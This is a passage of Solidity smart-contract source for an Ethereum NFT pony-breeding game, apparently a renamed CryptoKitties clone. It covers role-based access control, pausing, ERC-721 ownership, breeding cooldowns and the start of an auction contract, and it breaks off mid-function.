actions within each roles. address public ceoAddress; address public cfoAddress; address public cooAddress; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress ); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the CFO. Only available to the current CEO. /// @param _newCFO The address of the new CFO function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyCLevel whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CFO or COO accounts are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyCEO whenPaused { // can't unpause if contract was upgraded paused = false; } } /// @title Base contract for CryptoPoniesies. Holds all common structs, events and base variables. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the PonyCore contract documentation to understand how the various contract facets are arranged. contract PonyBase is PonyAccessControl { /*** EVENTS ***/ /// @dev The Birth event is fired whenever a new Ponie comes into existence. This obviously /// includes any time a pony is created through the giveBirth method, but it is also called /// when a new gen0 pony is created. event Birth(address owner, uint256 PonyId, uint256 matronId, uint256 sireId, uint256 genes); /// @dev Transfer event as defined in current draft of ERC721. Emitted every time a Ponie /// ownership is assigned, including births. event Transfer(address from, address to, uint256 tokenId); /*** DATA TYPES ***/ /// @dev The main Pony struct. Every pony in CryptoPoniesies is represented by a copy /// of this structure, so great care was taken to ensure that it fits neatly into /// exactly two 256-bit words. Note that the order of the members in this structure /// is important because of the byte-packing rules used by Ethereum. /// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html struct Pony { // The Pony's genetic code is packed into these 256-bits, the format is // sooper-sekret! A pony's genes never change. uint256 genes; // The timestamp from the block when this pony came into existence. uint64 birthTime; // The minimum timestamp after which this pony can engage in breeding // activities again. This same timestamp is used for the pregnancy // timer (for matrons) as well as the siring cooldown. uint64 cooldownEndBlock; // The ID of the parents of this Pony, set to 0 for gen0 ponys. // Note that using 32-bit unsigned integers limits us to a "mere" // 4 billion ponys. This number might seem small until you realize // that Ethereum currently has a limit of about 500 million // transactions per year! So, this definitely won't be a problem // for several years (even as Ethereum learns to scale). uint32 matronId; uint32 sireId; // Set to the ID of the sire pony for matrons that are pregnant, // zero otherwise. A non-zero value here is how we know a pony // is pregnant. Used to retrieve the genetic material for the new // Ponie when the birth transpires. uint32 siringWithId; // Set to the index in the cooldown array (see below) that represents // the current cooldown duration for this Pony. This starts at zero // for gen0 ponys, and is initialized to floor(generation/2) for others. // Incremented by one for each successful breeding action, regardless // of whether this pony is acting as matron or sire. uint16 cooldownIndex; // The "generation number" of this pony. ponys minted by the CK contract // for sale are called "gen0" and have a generation number of 0. The // generation number of all other ponys is the larger of the two generation // numbers of their parents, plus one. // (i.e. max(matron.generation, sire.generation) + 1) uint16 generation; } /*** CONSTANTS ***/ /// @dev A lookup table indiponying the cooldown duration after any successful /// breeding action, called "pregnancy time" for matrons and "siring cooldown" /// for sires. Designed such that the cooldown roughly doubles each time a pony /// is bred, encouraging owners not to just keep breeding the same pony over /// and over again. Caps out at one week (a pony can breed an unbounded number /// of times, and the maximum cooldown is always seven days). uint32[14] public cooldowns = [ uint32(1 minutes), uint32(2 minutes), uint32(5 minutes), uint32(10 minutes), uint32(30 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(1 days), uint32(2 days), uint32(4 days), uint32(7 days) ]; // An approximation of currently how many seconds are in between blocks. uint256 public secondsPerBlock = 15; /*** STORAGE ***/ /// @dev An array containing the Pony struct for all Poniesies in existence. The ID /// of each pony is actually an index into this array. Note that ID 0 is a negapony, /// the unPony, the mythical beast that is the parent of all gen0 ponys. A bizarre /// creature that is both matron and sire... to itself! Has an invalid genetic code. /// In other words, pony ID 0 is invalid... ;-) Pony[] Poniesies; /// @dev A mapping from pony IDs to the address that owns them. All ponys have /// some valid owner address, even gen0 ponys are created with a non-zero owner. mapping (uint256 => address) public PonyIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) ownershipTokenCount; /// @dev A mapping from PonyIDs to an address that has been approved to call /// transferFrom(). Each Pony can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public PonyIndexToApproved; /// @dev A mapping from PonyIDs to an address that has been approved to use /// this Pony for siring via breedWith(). Each Pony can only have one approved /// address for siring at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public sireAllowedToAddress; /// @dev The address of the ClockAuction contract that handles sales of Poniesies. This /// same contract handles both peer-to-peer sales as well as the gen0 sales which are /// initiated every 15 minutes. SaleClockAuction public saleAuction; /// @dev The address of a custom ClockAuction subclassed contract that handles siring /// auctions. Needs to be separate from saleAuction because the actions taken on success /// after a sales and siring auction are quite different. SiringClockAuction public siringAuction; /// @dev Assigns ownership of a specific Pony to an address. function _transfer(address _from, address _to, uint256 _tokenId) internal { // Since the number of Ponies is capped to 2^32 we can't overflow this ownershipTokenCount[_to]++; // transfer ownership PonyIndexToOwner[_tokenId] = _to; // When creating new Ponies _from is 0x0, but we can't account that address. if (_from != address(0)) { ownershipTokenCount[_from]--; // once the Ponie is transferred also clear sire allowances delete sireAllowedToAddress[_tokenId]; // clear any previously approved ownership exchange delete PonyIndexToApproved[_tokenId]; } // Emit the transfer event. Transfer(_from, _to, _tokenId); } /// @dev An internal method that creates a new Pony and stores it. This /// method doesn't do any checking and should only be called when the /// input data is known to be valid. Will generate both a Birth event /// and a Transfer event. /// @param _matronId The Pony ID of the matron of this pony (zero for gen0) /// @param _sireId The Pony ID of the sire of this pony (zero for gen0) /// @param _generation The generation number of this pony, must be computed by caller. /// @param _genes The Pony's genetic code. /// @param _owner The inital owner of this pony, must be non-zero (except for the unPony, ID 0) function _createPony( uint256 _matronId, uint256 _sireId, uint256 _generation, uint256 _genes, address _owner ) internal returns (uint) { // These requires are not strictly necessary, our calling code should make // sure that these conditions are never broken. However! _createPony() is already // an expensive call (for storage), and it doesn't hurt to be especially careful // to ensure our data structures are always valid. require(_matronId == uint256(uint32(_matronId))); require(_sireId == uint256(uint32(_sireId))); require(_generation == uint256(uint16(_generation))); // New Pony starts with the same cooldown as parent gen/2 uint16 cooldownIndex = uint16(_generation / 2); if (cooldownIndex > 13) { cooldownIndex = 13; } Pony memory _Pony = Pony({ genes: _genes, birthTime: uint64(now), cooldownEndBlock: 0, matronId: uint32(_matronId), sireId: uint32(_sireId), siringWithId: 0, cooldownIndex: cooldownIndex, generation: uint16(_generation) }); uint256 newPonieId = Poniesies.push(_Pony) - 1; // It's probably never going to happen, 4 billion ponys is A LOT, but // let's just be 100% sure we never let this happen. require(newPonieId == uint256(uint32(newPonieId))); // emit the birth event Birth( _owner, newPonieId, uint256(_Pony.matronId), uint256(_Pony.sireId), _Pony.genes ); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(0, _owner, newPonieId); return newPonieId; } // Any C-level can fix how many seconds per blocks are currently observed. function setSecondsPerBlock(uint256 secs) external onlyCLevel { require(secs < cooldowns[0]); secondsPerBlock = secs; } } /// @title The external contract that is responsible for generating metadata for the Poniesies, /// it has one function that will return the data as bytes. contract ERC721Metadata { /// @dev Given a token Id, returns a byte array that is supposed to be converted into string. function getMetadata(uint256 _tokenId, string) public view returns (bytes32[4] buffer, uint256 count) { if (_tokenId == 1) { buffer[0] = "Hello World! :D"; count = 15; } else if (_tokenId == 2) { buffer[0] = "I would definitely choose a medi"; buffer[1] = "um length string."; count = 49; } else if (_tokenId == 3) { buffer[0] = "Lorem ipsum dolor sit amet, mi e"; buffer[1] = "st accumsan dapibus augue lorem,"; buffer[2] = " tristique vestibulum id, libero"; buffer[3] = " suscipit varius sapien aliquam."; count = 128; } } } /// @title The facet of the CryptoPoniesies core contract that manages ownership, ERC-721 (draft) compliant. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev Ref: https://github.com/ethereum/EIPs/issues/721 /// See the PonyCore contract documentation to understand how the various contract facets are arranged. contract PonyOwnership is PonyBase, ERC721 { /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant name = "CryptoPonies"; string public constant symbol = "CPT1"; // The contract that will return Pony metadata ERC721Metadata public erc721Metadata; bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('tokensOfOwner(address)')) ^ bytes4(keccak256('tokenMetadata(uint256,string)')); /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. We implement /// ERC-165 (obviously!) and ERC-721. function supportsInterface(bytes4 _interfaceID) external view returns (bool) { // DEBUG ONLY //require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d)); return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } /// @dev Set the address of the sibling contract that tracks metadata. /// CEO only. function setMetadataAddress(address _contractAddress) public onlyCEO { erc721Metadata = ERC721Metadata(_contractAddress); } // Internal utility functions: These functions all assume that their input arguments // are valid. We leave it to public methods to sanitize their inputs and follow // the required logic. /// @dev Checks if a given address is the current owner of a particular Pony. /// @param _claimant the address we are validating against. /// @param _tokenId Ponie id, only valid when > 0 function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return PonyIndexToOwner[_tokenId] == _claimant; } /// @dev Checks if a given address currently has transferApproval for a particular Pony. /// @param _claimant the address we are confirming Ponie is approved for. /// @param _tokenId Ponie id, only valid when > 0 function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return PonyIndexToApproved[_tokenId] == _claimant; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting Poniesies on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(uint256 _tokenId, address _approved) internal { PonyIndexToApproved[_tokenId] = _approved; } /// @notice Returns the number of Poniesies owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } /// @notice Transfers a Pony to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or /// CryptoPoniesies specifically) or your Pony may be lost forever. Seriously. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the Pony to transfer. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any Poniesies (except very briefly // after a gen0 pony is created and before it goes on auction). require(_to != address(this)); // Disallow transfers to the auction contracts to prevent accidental // misuse. Auction contracts should only take ownership of Poniesies // through the allow + transferFrom flow. require(_to != address(saleAuction)); require(_to != address(siringAuction)); // You can only send your own pony. require(_owns(msg.sender, _tokenId)); // Reassign ownership, clear pending approvals, emit Transfer event. _transfer(msg.sender, _to, _tokenId); } /// @notice Grant another address the right to transfer a specific Pony via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Pony that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve( address _to, uint256 _tokenId ) external whenNotPaused { // Only an owner can grant transfer approval. require(_owns(msg.sender, _tokenId)); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. Approval(msg.sender, _to, _tokenId); } /// @notice Transfer a Pony owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the Pony to be transfered. /// @param _to The address that should take ownership of the Pony. Can be any address, /// including the caller. /// @param _tokenId The ID of the Pony to be transferred. /// @dev Required for ERC-721 compliance. function transferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any Poniesies (except very briefly // after a gen0 pony is created and before it goes on auction). require(_to != address(this)); // Check for approval and valid ownership require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, _to, _tokenId); } /// @notice Returns the total number of Poniesies currently in existence. /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint) { return Poniesies.length - 1; } /// @notice Returns the address currently assigned ownership of a given Pony. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = PonyIndexToOwner[_tokenId]; require(owner != address(0)); } /// @notice Returns a list of all Pony IDs assigned to an address. /// @param _owner The owner whose Poniesies we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire Pony array looking for ponys belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalponys = totalSupply(); uint256 resultIndex = 0; // We count on the fact that all ponys have IDs starting at 1 and increasing // sequentially up to the totalpony count. uint256 ponyId; for (ponyId = 1; ponyId <= totalponys; ponyId++) { if (PonyIndexToOwner[ponyId] == _owner) { result[resultIndex] = ponyId; resultIndex++; } } return result; } } /// @dev Adapted from memcpy() by @arachnid (Nick Johnson <[email protected]>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _memcpy(uint _dest, uint _src, uint _len) private view { // Copy word-length chunks while possible for(; _len >= 32; _len -= 32) { assembly { mstore(_dest, mload(_src)) } _dest += 32; _src += 32; } // Copy remaining bytes uint256 mask = 256 ** (32 - _len) - 1; assembly { let srcpart := and(mload(_src), not(mask)) let destpart := and(mload(_dest), mask) mstore(_dest, or(destpart, srcpart)) } } /// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <[email protected]>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) { var outputString = new string(_stringLength); uint256 outputPtr; uint256 bytesPtr; assembly { outputPtr := add(outputString, 32) bytesPtr := _rawBytes } _memcpy(outputPtr, bytesPtr, _stringLength); return outputString; } /// @notice Returns a URI pointing to a metadata package for this token conforming to /// ERC-721 (https://github.com/ethereum/EIPs/issues/721) /// @param _tokenId The ID number of the Pony whose metadata should be returned. function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) { require(erc721Metadata != address(0)); bytes32[4] memory buffer; uint256 count; (buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport); return _toString(buffer, count); } } /// @title A facet of PonyCore that manages Pony siring, gestation, and birth. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the PonyCore contract documentation to understand how the various contract facets are arranged. contract PonyBreeding is PonyOwnership { /// @dev The Pregnant event is fired when two ponys successfully breed and the pregnancy /// timer begins for the matron. event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 cooldownEndBlock); /// @notice The minimum payment required to use breedWithAuto(). This fee goes towards /// the gas cost paid by whatever calls giveBirth(), and can be dynamically updated by /// the COO role as the gas price changes. uint256 public autoBirthFee = 2 finney; // Keeps track of number of pregnant Poniesies. uint256 public pregnantPoniesies; /// @dev The address of the sibling contract that is used to implement the sooper-sekret /// genetic combination algorithm. GeneScienceInterface public geneScience; /// @dev Update the address of the genetic contract, can only be called by the CEO. /// @param _address An address of a GeneScience contract instance to be used from this point forward. function setGeneScienceAddress(address _address) external onlyCEO { GeneScienceInterface candidateContract = GeneScienceInterface(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isGeneScience()); // Set the new contract address geneScience = candidateContract; } /// @dev Checks that a given Ponie is able to breed. Requires that the /// current cooldown is finished (for sires) and also checks that there is /// no pending pregnancy. function _isReadyToBreed(Pony _pony) internal view returns (bool) { // In addition to checking the cooldownEndBlock, we also need to check to see if // the pony has a pending birth; there can be some period of time between the end // of the pregnacy timer and the birth event. return (_pony.siringWithId == 0) && (_pony.cooldownEndBlock <= uint64(block.number)); } /// @dev Check if a sire has authorized breeding with this matron. True if both sire /// and matron have the same owner, or if the sire has given siring permission to /// the matron's owner (via approveSiring()). function _isSiringPermitted(uint256 _sireId, uint256 _matronId) internal view returns (bool) { address matronOwner = PonyIndexToOwner[_matronId]; address sireOwner = PonyIndexToOwner[_sireId]; // Siring is okay if they have same owner, or if the matron's owner was given // permission to breed with this sire. return (matronOwner == sireOwner || sireAllowedToAddress[_sireId] == matronOwner); } /// @dev Set the cooldownEndTime for the given Pony, based on its current cooldownIndex. /// Also increments the cooldownIndex (unless it has hit the cap). /// @param _Ponie A reference to the Pony in storage which needs its timer started. function _triggerCooldown(Pony storage _Ponie) internal { // Compute an estimation of the cooldown time in blocks (based on current cooldownIndex). _Ponie.cooldownEndBlock = uint64((cooldowns[_Ponie.cooldownIndex]/secondsPerBlock) + block.number); // Increment the breeding count, clamping it at 13, which is the length of the // cooldowns array. We could check the array size dynamically, but hard-coding // this as a constant saves gas. Yay, Solidity! if (_Ponie.cooldownIndex < 13) { _Ponie.cooldownIndex += 1; } } /// @notice Grants approval to another user to sire with one of your Poniesies. /// @param _addr The address that will be able to sire with your Pony. Set to /// address(0) to clear all siring approvals for this Pony. /// @param _sireId A Pony that you own that _addr will now be able to sire with. function approveSiring(address _addr, uint256 _sireId) external whenNotPaused { require(_owns(msg.sender, _sireId)); sireAllowedToAddress[_sireId] = _addr; } /// @dev Updates the minimum payment required for calling giveBirthAuto(). Can only /// be called by the COO address. (This fee is used to offset the gas cost incurred /// by the autobirth daemon). function setAutoBirthFee(uint256 val) external onlyCOO { autoBirthFee = val; } /// @dev Checks to see if a given Pony is pregnant and (if so) if the gestation /// period has passed. function _isReadyToGiveBirth(Pony _matron) private view returns (bool) { return (_matron.siringWithId != 0) && (_matron.cooldownEndBlock <= uint64(block.number)); } /// @notice Checks that a given Ponie is able to breed (i.e. it is not pregnant or /// in the middle of a siring cooldown). /// @param _PonyId reference the id of the Ponie, any user can inquire about it function isReadyToBreed(uint256 _PonyId) public view returns (bool) { require(_PonyId > 0); Pony storage pony = Poniesies[_PonyId]; return _isReadyToBreed(pony); } /// @dev Checks whether a Pony is currently pregnant. /// @param _PonyId reference the id of the Ponie, any user can inquire about it function isPregnant(uint256 _PonyId) public view returns (bool) { require(_PonyId > 0); // A Pony is pregnant if and only if this field is set return Poniesies[_PonyId].siringWithId != 0; } /// @dev Internal check to see if a given sire and matron are a valid mating pair. DOES NOT /// check ownership permissions (that is up to the caller). /// @param _matron A reference to the Pony struct of the potential matron. /// @param _matronId The matron's ID. /// @param _sire A reference to the Pony struct of the potential sire. /// @param _sireId The sire's ID function _isValidMatingPair( Pony storage _matron, uint256 _matronId, Pony storage _sire, uint256 _sireId ) private view returns(bool) { // A Pony can't breed with itself! if (_matronId == _sireId) { return false; } // Poniesies can't breed with their parents. if (_matron.matronId == _sireId || _matron.sireId == _sireId) { return false; } if (_sire.matronId == _matronId || _sire.sireId == _matronId) { return false; } // We can short circuit the sibling check (below) if either pony is // gen zero (has a matron ID of zero). if (_sire.matronId == 0 || _matron.matronId == 0) { return true; } // Poniesies can't breed with full or half siblings. if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) { return false; } if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) { return false; } // Everything seems cool! Let's get DTF. return true; } /// @dev Internal check to see if a given sire and matron are a valid mating pair for /// breeding via auction (i.e. skips ownership and siring approval checks). function _canBreedWithViaAuction(uint256 _matronId, uint256 _sireId) internal view returns (bool) { Pony storage matron = Poniesies[_matronId]; Pony storage sire = Poniesies[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId); } /// @notice Checks to see if two ponys can breed together, including checks for /// ownership and siring approvals. Does NOT check that both ponys are ready for /// breeding (i.e. breedWith could still fail until the cooldowns are finished). /// TODO: Shouldn't this check pregnancy and cooldowns?!? /// @param _matronId The ID of the proposed matron. /// @param _sireId The ID of the proposed sire. function canBreedWith(uint256 _matronId, uint256 _sireId) external view returns(bool) { require(_matronId > 0); require(_sireId > 0); Pony storage matron = Poniesies[_matronId]; Pony storage sire = Poniesies[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId) && _isSiringPermitted(_sireId, _matronId); } /// @dev Internal utility function to initiate breeding, assumes that all breeding /// requirements have been checked. function _breedWith(uint256 _matronId, uint256 _sireId) internal { // Grab a reference to the Poniesies from storage. Pony storage sire = Poniesies[_sireId]; Pony storage matron = Poniesies[_matronId]; // Mark the matron as pregnant, keeping track of who the sire is. matron.siringWithId = uint32(_sireId); // Trigger the cooldown for both parents. _triggerCooldown(sire); _triggerCooldown(matron); // Clear siring permission for both parents. This may not be strictly necessary // but it's likely to avoid confusion! delete sireAllowedToAddress[_matronId]; delete sireAllowedToAddress[_sireId]; // Every time a Pony gets pregnant, counter is incremented. pregnantPoniesies++; // Emit the pregnancy event. Pregnant(PonyIndexToOwner[_matronId], _matronId, _sireId, matron.cooldownEndBlock); } /// @notice Breed a Pony you own (as matron) with a sire that you own, or for which you /// have previously been given Siring approval. Will either make your pony pregnant, or will /// fail entirely. Requires a pre-payment of the fee given out to the first caller of giveBirth() /// @param _matronId The ID of the Pony acting as matron (will end up pregnant if successful) /// @param _sireId The ID of the Pony acting as sire (will begin its siring cooldown if successful) function breedWithAuto(uint256 _matronId, uint256 _sireId) external payable whenNotPaused { // Checks for payment. require(msg.value >= autoBirthFee); // Caller must own the matron. require(_owns(msg.sender, _matronId)); // Neither sire nor matron are allowed to be on auction during a normal // breeding operation, but we don't need to check that explicitly. // For matron: The caller of this function can't be the owner of the matron // because the owner of a Pony on auction is the auction house, and the // auction house will never call breedWith(). // For sire: Similarly, a sire on auction will be owned by the auction house // and the act of transferring ownership will have cleared any oustanding // siring approval. // Thus we don't need to spend gas explicitly checking to see if either pony // is on auction. // Check that matron and sire are both owned by caller, or that the sire // has given siring permission to caller (i.e. matron's owner). // Will fail for _sireId = 0 require(_isSiringPermitted(_sireId, _matronId)); // Grab a reference to the potential matron Pony storage matron = Poniesies[_matronId]; // Make sure matron isn't pregnant, or in the middle of a siring cooldown require(_isReadyToBreed(matron)); // Grab a reference to the potential sire Pony storage sire = Poniesies[_sireId]; // Make sure sire isn't pregnant, or in the middle of a siring cooldown require(_isReadyToBreed(sire)); // Test that these ponys are a valid mating pair. require(_isValidMatingPair( matron, _matronId, sire, _sireId )); // All checks passed, Pony gets pregnant! _breedWith(_matronId, _sireId); } /// @notice Have a pregnant Pony give birth! /// @param _matronId A Pony ready to give birth. /// @return The Pony ID of the new Ponie. /// @dev Looks at a given Pony and, if pregnant and if the gestation period has passed, /// combines the genes of the two parents to create a new Ponie. The new Pony is assigned /// to the current owner of the matron. Upon successful completion, both the matron and the /// new Ponie will be ready to breed again. Note that anyone can call this function (if they /// are willing to pay the gas!), but the new Ponie always goes to the mother's owner. function giveBirth(uint256 _matronId) external whenNotPaused returns(uint256) { // Grab a reference to the matron in storage. Pony storage matron = Poniesies[_matronId]; // Check that the matron is a valid pony. require(matron.birthTime != 0); // Check that the matron is pregnant, and that its time has come! require(_isReadyToGiveBirth(matron)); // Grab a reference to the sire in storage. uint256 sireId = matron.siringWithId; Pony storage sire = Poniesies[sireId]; // Determine the higher generation number of the two parents uint16 parentGen = matron.generation; if (sire.generation > matron.generation) { parentGen = sire.generation; } // Call the sooper-sekret gene mixing operation. uint256 childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1); // Make the new Ponie! address owner = PonyIndexToOwner[_matronId]; uint256 PonieId = _createPony(_matronId, matron.siringWithId, parentGen + 1, childGenes, owner); // Clear the reference to sire from the matron (REQUIRED! Having siringWithId // set is what marks a matron as being pregnant.) delete matron.siringWithId; // Every time a Pony gives birth counter is decremented. pregnantPoniesies--; // Send the balance fee to the person who made birth happen. msg.sender.send(autoBirthFee); // return the new Ponie's ID return PonieId; } } /// @title Auction Core /// @dev Contains models, variables, and internal methods for the auction. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract ClockAuctionBase { // Represents an auction on an NFT struct Auction { // Current owner of NFT address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; } // Reference to contract tracking NFT ownership ERC721 public nonFungibleContract; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut; // Map from token ID to their corresponding auction. mapping (uint256 => Auction) tokenIdToAuction; event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _tokenId - ID of token whose ownership to verify. function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } /// @dev Escrows the NFT, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _tokenId - ID of token whose approval to verify. function _escrow(address _owner, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transferFrom(_owner, this, _tokenId); } /// @dev Transfers an NFT owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer NFT to. /// @param _tokenId - ID of token to transfer. function _transfer(address _receiver, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transfer(_receiver, _tokenId); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenId The ID of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(uint256 _tokenId, Auction _auction) internal { // Require that all auctions have a duration of // at least one minute. (Keeps our math from getting hairy!) require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; AuctionCreated( uint256(_tokenId), uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); AuctionCancelled(_tokenId); } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the bid is greater than or equal to the current price uint256 price = _currentPrice(auction); require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the auction // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelAuction(). ) seller.transfer(sellerProceeds); } // Calculate any excess funds included with the bid. If the excess // is anything worth worrying about, transfer it back to bidder. // NOTE: We checked above that the bid amount is greater than or // equal to the price so this cannot underflow. uint256 bidExcess = _bidAmount - price; // Return the funds. Similar to the previous transfer, this is // not susceptible to a re-entry attack because the auction is // removed before any transfers occur. msg.sender.transfer(bidExcess); // Tell the world! 